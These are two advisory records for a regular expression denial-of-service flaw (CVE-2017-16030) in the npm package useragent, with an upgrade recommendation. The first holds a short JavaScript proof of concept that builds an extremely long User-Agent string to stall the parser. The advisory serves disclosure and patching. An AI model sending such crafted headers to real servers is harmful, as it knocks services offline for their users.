github_osv/GHSA-pjmx-9xr3-82qr
ReDoS via long UserAgent header in useragent
Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.
## Proof of Concept
```js
var useragent = require('useragent');
var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));
```
## Recommendation
Update to version 2.1.13 or later.
gitlab/npm/useragent/CVE-2017-16030
Improper Input Validation
Useragent is used to parse useragent headers. It uses several regular expressions to accomplish this. An attacker could edit their own headers, creating an arbitrarily long useragent string, causing the event loop and server to block.